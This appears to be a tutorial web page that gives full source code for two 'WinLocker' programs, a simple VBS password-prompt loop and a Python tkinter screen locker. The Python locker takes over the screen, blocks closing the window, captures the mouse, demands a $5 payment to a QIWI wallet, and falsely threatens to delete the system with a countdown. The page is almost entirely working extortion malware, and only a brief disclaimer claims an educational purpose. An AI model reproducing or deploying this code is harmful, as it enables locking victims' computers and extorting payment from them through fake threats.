How to make a WinLocker in VBS and Python

How to make a WinLocker in VBS and Python

Disclaimer: Everything on this site is for educational purposes and should not be used for evil.

WARNING: THIS IS ACTUAL MALWARE! DO NOT RUN IT ON YOUR COMPUTER!

Simple VBS WinLocker:

Do
msgbox"[Entry Text]",48,"LOL"
x = inputbox("[Password Box Text]")
if (x = "[Password]") then
msgbox"Windows has been unlocked",64,"Welcome!"
exit do
else
msgbox"[Wrong Password]",48,"LOL"
end if
loop

Advanced Python WinLocker:

from tkinter import *
import pyautogui
import os
import os.path
import time
read1ng=" " #Переменная для проверки пароля
Qiwi="Qiwi: +7*******" #Your QIWI wallet
SORRYBRO=""#Variable for checking the session

LOCKFILE = r'Path to\system.logger' #Enter the path to system.logger

password=("lol") #Variable for the password
t1me=7000 #Variable with a timer in seconds
d3l="Deleting System..."
def block():
    pyautogui.moveTo(x=680,y=800) #Moving the mouse to an XY position
    screen.protocol("WM_DELETE_WINDOW",block) #Blocking F4/alt+F4/Fn+F4
    screen.update()
def password_check(event): #Checking Password
    global read1ng
    read1ng=field.get()
    if read1ng==password:
        screen.destroy() #If the password is correct, the WinLocker will delete itself
    else:
        No=Label(screen, text="Inorrect!",font = "TimesNewRoman 30",fg="red",bg="#1c1c1c") # Text if the password is incorrect
        No.place(x=700,y=600) #XY position of the text
def systemrun():
    os.system("audacity") #Command, which runs if the timer runs out


if(os.path.exists(LOCKFILE)): #If session file was found
    SORRYBRO="You restarted your computer. Deleting has started..."
    t1me = 3000 #Timer
open(LOCKFILE, 'tw', encoding='utf-8').close()
screen=Tk()
screen.title("WinLock")
screen.attributes("-fullscreen",True)
screen.configure(background="#1c1c1c")
pyautogui.FAILSAFE=False
field=Entry(screen,fg="green",justify=CENTER, borderwidth=0)
but=Button(screen,text="Unblock", borderwidth=0)
text0=Label(screen,text="You system in blocked!",font="TimesNewRoman 30",fg="white",bg="#1c1c1c")
DontPanic=Label(screen, text="Don't panic! This program didn't encrypt your files\nThis program can just delete your computer beyond recovery! There is nothing to worry about!",font="TimesNewRoman 24",fg="white",bg="#1c1c1c")
text=Label(screen,text="You have to send me 5$",font="TimesNewRoman 30",fg="#32CD32",bg="#1c1c1c")

REMOV=Label(screen,text=SORRYBRO,font="TimesNewRoman 40",fg="red",bg="#1c1c1c")
REMOV.place(x=400,y=40)

Qiwiimg = PhotoImage(file = './Qiwi-little.png')


Qiwilabel = Label(screen, image=Qiwiimg, borderwidth=0).place(x=350,y=420)


textQiwi=Label(screen, text=Qiwi,font="TimesNewRoman 16",fg="yellow",bg="#1c1c1c")
text1=Label(screen,text="Don't restart your computer, this will delete your system!",font = "TimesNewRoman 16",fg="red",bg="#1c1c1c")
Citate=Label(screen,text="Your system is fucked\n Etile",font = "TimesNewRoman 16",fg="red",bg="#1c1c1c")
l=Label(text=t1me,font="Arial 22",fg="red",bg="#1c1c1c")
l1=Label(text="Time until your system will be deleted:",fg="white",bg="#1c1c1c",font="Arial 15")
but.bind('<Button-1>',password_check)
but.bind('<Enter>', password_check)
text.place(x=700,y=170)
DontPanic.place(x=300,y=240)
field.place(width=150,height=50,x=600,y=790)
but.place(width=150,height=50,x=600,y=860)
text0.place(x=700,y=110)
text1.place(x=410,y=330)

textQiwi.place(x=410,y=430)
l1.place(x=20,y=70)
l.place(x=20,y=100)
Citate.place(x=900,y=820)
screen.update()
pyautogui.moveTo(x=670,y=890) #Move the mouse to the XY position

while read1ng!=password:
    l.configure(text=t1me)
    screen.after(200) #Making a delay for 200 miliseconds
    if t1me==0:
        t1me=d3l
        systemrun()

    if t1me!=d3l:
        t1me=t1me-1
    block()

Comments